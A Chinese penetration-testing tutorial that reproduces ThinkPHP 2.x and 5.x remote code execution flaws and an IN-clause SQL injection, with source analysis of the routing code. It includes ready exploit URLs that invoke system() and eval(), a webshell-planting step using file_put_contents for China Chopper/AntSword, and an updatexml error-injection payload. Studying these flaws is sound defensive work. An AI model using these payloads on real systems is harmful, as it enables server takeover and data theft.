渗透测试之路：ThinkPHP漏洞复现

本篇文章给大家带来了关于thinkphp的相关知识，其中主要介绍了关于ThinkPHP漏洞复现的相关内容，下面一起来看一下，希望对大家有帮助。

ThinkPHP

1)简介

ThinkPHP是一个免费开源的，快速的，简单的面向对象的国产轻量级PHP开发框架。

ThinkPHP遵循Apache2开源协议发布，是为了敏捷WEB应用开发和简化企业级应用开而诞生的，具有免费开源，快速简单及面向对象等众多的优秀功能和特性。ThinkPHP经历了五年多发展的同时，在社区团队的积极参与下，在易用性，扩展性和性能方面不断优化和改进，众多的典型案例确保可以稳定用于商业以及门户的开发。

ThinkPHP借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，采用单一入口模式等。融合了Struts的Action思想和JSP的TagLib（标签库），ROR的ORM映射和ActiveRecord模式；封装了CURD和一些常用操作，在项目配置，类库导入，模板引擎，查询语言，自动验证，视图模型，项目编译，缓存机制，SEO支持，分布式数据库，多数据库连接和切换，认证机制和扩展性方面均有独特的表现。

使用ThinkPHP，可以更方便和快捷的开发和部署应用。ThinkPHP本身具有很多的原创特性，并且倡导大道至简，开发由我的开发理念，用最少的代码完成更多的功能，宗旨就是让WEB应用开发更简单，更快速!

2）安装方法

下载ThinkPHP后解压完成会形成两个文件夹：ThinkPHP和Examples。

ThinkPHP无需单独安装，将ThinkPHP文件夹FTP至服务器Web目录或拷贝至本地Web目录下面即可。

3）ThinkPHP目录结构说明

ThinkPHP.php：框架入口文件

Common：包含框架的一些公共文件，系统定义，系统函数和惯例配置等

Conf：框架配置文件目录

Lang：系统语言文件目录

Lib：系统基类库目录

Tpl：系统模板目录

Extend：框架扩展s

4）ThinkPHP运行环境要求

thinkphp可以支持Windows/Unix服务器环境，可以运行包括Apache，IIS和nginx在内的多种WEB服务器和多种模式。需要PHP5.2.0以上版本支持，支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多种数据库和连接。

ThinkPHP本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块。ThinkPHP底层运行的内存消耗极低，而本身的文件大小也是轻量级，因此不会出现空间和内存占用的瓶颈。

一、2-rce

0x01 提前了解知识

preg_replace函数:

preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])

搜索subject中匹配pattern的部分，以replacement进行替换。

• $pattern:要搜索的模式，可以是字符串或者一个字符串数组

• $replacement:用于替换的字符串或者数组

• $subject:用于替换的目标字符串或者数组

• $limit:可选,对于每个模式用于每个subject字符串的最大可替换数。默认是-1

• $count:可选·，为替换执行的次数

返回值:

如果subject为一个数组，则返回一个数组，其他情况下返回一个字符串。

如果匹配被查找到，替换后的subject被返回，其他情况下，返回没有改变的 subject，如果发生错误返回NULL

正则表达式：https://www.runoob.com/regexp/regexp-syntax.html

0x02 实验步骤

访问页面，发现是一个Thinkphp的cms框架，由于是漏洞复现，我们很清楚的知道他的版本是2.x。如果不知道版本的可以通过乱输入径进行报错，或是使用云悉指纹识别进行检测

此时输入已经爆出的远程代码执行命令即可浮现漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此为一句话连菜刀

这里只要将phpinfo()换成一句话木马即可成功!

0x03 实验原理

1）通过观察这句话，我们可以清楚的知道它是将

${@phpinfo()}

作为变量输出到了页面显示，其原理，我通过freebuf总结一下:

在PHP当中， ${} 是可以构造一个变量的， {} 写的是一般字符，那么就会被当作成变量，比如 ${a} 等价于 $a

thinkphp所有的主入口文件默认访问index控制器(模块)

thinkphp所有的控制器默认执行index动作(方法)

http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值...]

数组$var在路径存在模块和动作时，会去除前面两个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们构造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}.......

2）换而言之，就是在thinphp的类似于MVC的框架中，存在一个Dispatcher.class.php的文件，它规定了如何解析路由，在该文件中，存在一个函数为static public function dispatch()，此为URL映射控制器，是为了将URL访问的路径映射到该控制器下获取资源的，而当我们输入的URL作为变量传入时，该URL映射控制器会将变量以数组的方式获取出来，从而导致漏洞的产生。

类名为`Dispatcher`，class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

二、5.0.23-rce

漏洞简介

ThinkPHP 5.x主要分为 5.0.x和5.1.x两个系列，系列不同，复现漏洞时也稍有不同。

在ThinkPHP 5.x中造成rce(远程命令执行)有两种原因

1.路由对于控制器名控制不严谨导致RCE、

2.Request类对于调用方法控制不严谨加上变量覆盖导致RCE

首先记录这两个主要POC:

控制器名未过滤导致rce

function为反射调用的函数，vars[0]为传入的回调函数，vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心类Request远程代码执行漏洞

filter[]为回调函数，get[]或route[]或server[REQUEST_METHOD]为回调函数的参数，执行回调函数的函数为call_user_func()

核心版需要开启debug模式

POST /index.php？s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未过滤导致RCE

0x01 简介

2018年12月9日，ThinkPHP v5系列发布安全更新v5.0.23，修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后，才出现的漏洞利用方式，不过不排除很早之前已经有人使用了0day

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严，从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数，进而导致getshell漏洞

最终确定漏洞影响版本为：

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解该漏洞的关键在于理解ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况，在未配置路由的情况，ThinkPHP5将通过下面格式进行解析URL

http://serverName/index.php（或者其它应用入口文件）/模块/控制器/操作/[参数名/参数值...]

同时在兼容模式下ThinkPHP还支持以下格式解析URL：

http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值...]（参数以PATH_INFO传入）
http://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[&参数名=参数值...]     （参数以传统方式传入）

eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就产生在未匹配到路由的情况下，使用兼容模式解析url时，通过构造特殊url，调用意外的控制器中敏感函数，从而执行敏感操作

下面通过代码具体解析ThinkPHP的路由解析流程

0x02 路由处理逻辑详细分析

分析版本: 5.0.22

跟踪路由处理的逻辑，来完整看一下该漏洞的整体调用链:

thinkphp/library/think/App.php

116行，通过routeCheck()方法开始进行url路由检测

在routeCheck()中，首先提取$path信息，这里获取$path的方式分别为pathinfo模式和兼容模式，pathinfo模式就是通过$_SERVER['PATH_INFO']获取到的主要path信息，==$_SERVER['PATH_INFO']会自动将URL中的""替换为"/",导致破坏命名空间格式==，==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];，path的信息会通过get的方式获取，var_pathinfo的值默认为's'，从而绕过了反斜杠的替换==，这里也是该漏洞的一个关键利用点

检测逻辑：如果开启了路由检测模式(配置文件中的url_on为true)，则进入路由检测，结果返回给$result，如果路由无效且设置了只允许路由检测模式(配置文件url_route_must为true)，则抛出异常。

在兼容模式中，检测到路由无效后(false === $result),则还会进入Route::parseUrl()检测路由。我们重点关注这个路由解析方式，因为该方式我们通过URL可控:

放回最终的路由检测结果$result($dispath),交给exec执行:

$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            ……
            // 路由检测（根据路由定义返回不同的URL调度）
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }

thinkphp/libary/think/Route.php

跟踪Route::parseUrl(),在注释中可以看到大概解析方式

$url主要同通过parseUrlPath()解析，跟踪该函数发现程序通过斜杠/来划分模块/控制器/操作，结果为数组形式，然后将他们封装为$route,最终返回['type'=>'moudle','moudle'=>$route]数组，作为App.php中$dispatch1值，并传入exec()函数中

注意这里使用的时 斜杠/来划分每个部分，我们的控制器可以通过命名空间来调用，命名空间使用反斜杠\来划分，正好错过，这也是能利用的其中一个细节

/**
     * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自动深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo参数和变量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块，依次得到$module, $controller, $action
          ……
          // 封装路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)//line:1284-1302
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析结果作为exec()的参数进行执行，追踪该函数

thinkphp/library/think/App.php

追踪exec()函数，传入了$dispatch，$config两个参数，其中$dispatch为['type' => 'module', 'module' => $route]

因为 type 为 module，直接进入对应流程，然后执行module方法，其中传入的参数$dispatch['module']为模块\控制器\操作组成的数组

跟踪module()方法，主要通过$dispatch['module']获取模块$module, 控制器$controller, 操作$action，可以看到==提取过程中除了做小写转换，没有做其他过滤操作==

$controller将通过Loader::controller自动加载，这是ThinkPHP的自动加载机制，只用知道此步会加载我们需要的控制器代码，如果控制器不存在会抛出异常，加载成功会返回$instance，这应该就是控制器类的实例化对象，里面保存的有控制器的文件路径，命名空间等信息

通过is_callable([$instance, $action])方法判断$action是否是$instance中可调用的方法

通过判断后，会记录$instacne,$action到$call中（$call = [$instance, $action]），方便后续调用，并更新当前$request对象的action

最后$call将被传入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)//line:445-483
    {
        switch ($dispatch['type']) {
……
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }
        return $data;
    }
public static function module($result, $config, $convert = null)//line:494-608
    {
        ……
        if ($config['app_multi_module']) {
            // 多模块部署
          // 获取模块名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
        }
……
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;
        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      ……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }
        Hook::listen('action_begin', $call);
        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修复情况，找到对应的commit，对传入的控制器名做了限制

thinkphp/library/think/App.php

跟踪invokeMethod，其中 $method = $call = [$instance, $action]

通过实例化反射对象控制$instace的$action方法，即控制器类中操作方法

中间还有一个绑定参数的操作

最后利用反射执行对应的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }
        $args = self::bindParams($reflect, $vars);
        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由检测，

0x03 弱点利用

如上我们知道，url 路由检测过程并没有对输入有过滤，我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法，而这些参数通过url可控，我们便有可能操控程序中的所有控制器的代码，接下来的任务便是寻找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }

该函数通过ReflectionFunction()反射调用程序中的函数，这就是一个很好利用的点，我们通过该函数可以调用系统中的各种敏感函数。

找到利用点了，现在就需要来构造poc，首先触发点在thinkphp/library/think/App.php中的invokeFunction，我们需要构造url格式为模块\控制器\操作

模块我们用默认模块index即可，首先大多数网站都有这个模块，而且每个模块都会加载app.php文件，无须担心模块的选择

该文件的命名空间为think，类名为app，我们的控制器便可以构造成\think\app。因为ThinkPHP使用的自动加载机制会识别命名空间，这么构造是没有问题的。

操作直接为invokeFunction，没有疑问

参数方面，我们首先要触发第一个调用函数，简化一下代码再分析一下:

第一行确定 $class 就是我们传入的控制器\think\app实例化后的对象

第二行绑定我们的方法，也就是invokefunction

第三方就可以调用这个方法了，其中$args是我们的参数，通过url构造，将会传入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就进入我们的invokefunctio，该函数需要什么参数，我们就构造什么参数，首先构造一个调用函数function=call_user_func_array

call_user_func_array需要两个参数，第一个参数为函数名，第二个参数为数组，var[0]=system,var[1][0]=id

这里因为两次反射一次回调调用需要好好捋一捋。。。。

复现成功

三.5-rce

0x01 漏洞原理

ThinkPHP是一款运用极广的PHP开发框架，其版本5中，由于没有使用正确的控制器名，导致在网站没有开启强制路由的情况下(即默认情况下)，可以执行任意方法，从而导致远程命令执行漏洞。

0x02 漏洞影响版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞复现

可以利用点:

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

vars[0]用来接受函数名，vars[1][]用来接收参数

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

会在屏幕上打出123和我们输入的字符串长度

写入一句话木马getshell

使用file_put_contents函数写入shell:

vars[0]=system&vars[1][]=echo%20"">>test.php

使用蚁剑成功getshell！

四.In-sqlinjection-rce

0x01 了解的知识:

pdo预编译:

当我们使用mysql语句进行数据查询时，数据首先传入计算机，计算机进行编译之后传入数据库进行数据查询

(我们使用的是高级语言，计算机无法直接理解执行，所以我们将命令或请求传入计算机时，计算机首先将我们的语句编译成为计算机语言，之后再进行执行，所以如果不编译直接执行计算机是无法理解的，如传入select函数，没编译之前计算机只认为这是五个字符，而无法理解这是个查询函数)

如此说来，我们每次查询时都需要先编译，这样会加大成本，并且会存在sql注入的可能，所以有一定危险。

如此，我们进行查询数据库数据时使用预编译，例如:

select ? from security where tables=?

此语句中?代表占位符，在pdo中表示之后绑定的数据，此时无法确定具体值

用户在传入查询具体数值时，计算机首先将以上的查询语句进行编译，使其具有执行力，之后再对于?代表的具体数值就不进行编译而直接进行查询，所以我们在?处利用sql注入语句代替时，就不具有任何效力，甚至传入字符串时还会报错，而预编译还可以节省成本，即上面语句除了查询数值只编译一次，之后进行相同语句查询时直接使用，只是查询具体数值改变。所以这种预编译的方式可以很好的防止sql注入。

漏洞上下文如下：

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input(&#39;ids/a&#39;);
        $t = new User();
        $result = $t->where(&#39;id&#39;, &#39;in&#39;, $ids)->select();
    }
}

如上述代码，如果我们控制了in语句的值位置，即可通过传入一个数组，来造成SQL注入漏洞。

文中已有分析，我就不多说了，但说一下为什么这是一个SQL注入漏洞。IN操作代码如下：

<?php
...
$bindName = $bindName ?: &#39;where_&#39; . str_replace([&#39;.&#39;, &#39;-&#39;], &#39;_&#39;, $field);
if (preg_match(&#39;/\W/&#39;, $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, [&#39;NOT IN&#39;, &#39;IN&#39;])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . &#39; &#39; . $exp . &#39; &#39; . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(&#39;,&#39;, $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . &#39;_in_&#39; . $k)) {
                    $bindKey = $bindName . &#39;_in_&#39; . uniqid() . &#39;_&#39; . $k;
                } else {
                    $bindKey = $bindName . &#39;_in_&#39; . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = &#39;:&#39; . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(&#39;,&#39;, $array);
        } else {
            $zone = implode(&#39;,&#39;, $this->parseValue($value, $field));
        }
        $whereStr .= $key . &#39; &#39; . $exp . &#39; (&#39; . (empty($zone) ? "&#39;&#39;" : $zone) . &#39;)&#39;;
    }

可见，$bindName在前边进行了一次检测，正常来说是不会出现漏洞的。但如果$value是一个数组的情况下，这里会遍历$value，并将$k拼接进$bindName。

也就是说，我们控制了预编译SQL语句中的键名，也就说我们控制了预编译的SQL语句，这理论上是一个SQL注入漏洞。那么，为什么原文中说测试SQL注入失败呢？

这就是涉及到预编译的执行过程了。通常，PDO预编译执行过程分三步：

prepare($SQL)编译SQL语句

bindValue($param, $value)将value绑定到param的位置上

execute()执行

这个漏洞实际上就是控制了第二步的$param变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误的：

所以，这个错误“似乎”导致整个过程执行不到第三步，也就没法进行注入了。

但实际上，在预编译的时候，也就是第一步即可利用。我们可以做有一个实验。编写如下代码：

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO(&#39;mysql:dbname=cat;host=127.0.0.1;&#39;, &#39;root&#39;, &#39;root&#39;, $params);
try {
    $link = $db->prepare(&#39;SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))&#39;);
} catch (\PDOException $e) {
    var_dump($e);
}

执行发现，虽然我只调用了prepare函数，但原SQL语句中的报错已经成功执行：

究其原因，是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。

这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行；如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。

这时，假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。我们看看ThinkPHP5的默认配置：

...
// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可见，这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以，终上所述，我构造如下POC，即可利用报错注入，获取user()信息：

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

但是，如果你将user()改成一个子查询语句，那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究，说一下我猜测：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。

个人总结

其实ThinkPH框架漏洞大多用到的都是设置对于控制器名的一个疏忽问题，不理解的小伙伴可以查来url调用文件的机制来学习一下，其实这些框架漏洞都是基于基础漏洞的一些拓展，至于sql漏洞，了解一下pdo预编译原理即可。

不管java或是php在进行数据库查询的时候都应该进行pdo预编译，我们都知道，在jdbc工作的时候分成好多步

1.建立连接

2.写入sql语句

3.预编译sql语句

4.设置参数

5.执行sql获取结果

6.遍历结果(处理结果)

7.关闭连接

对于程序员来说，jdbc操作总是很麻烦，所以利用预编译就是将mysql查询语句进行封装，之后在进行查询的时候直接输入参数即可，这样即简化了操作也极大程度加强了安全属性，而以此类推，这样来说我们是否可以将其他步骤也进行封装呢，也就是建立连接，写入sql语句等，只留下写入sql语句与遍历结果来进行操作，这样就更加简化了操作。

于是就诞生出了Mybatis半自动框架与Hibernate全自动框架，直接将jdbc的操作进行封装，但是由于全自动框架可操作性过于狭窄，所以现在市面上更多的还是Mybatis框架进行连接服务端与数据库，但是一般政府或国企的项目还是偏向于Hibernate框架，这些知识都是涉及一些编程知识，大家可以自己去了解一下。

推荐学习：《PHP视频教程》

以上是渗透测试之路：ThinkPHP漏洞复现的详细内容。更多信息请关注PHP中文网其他相关文章！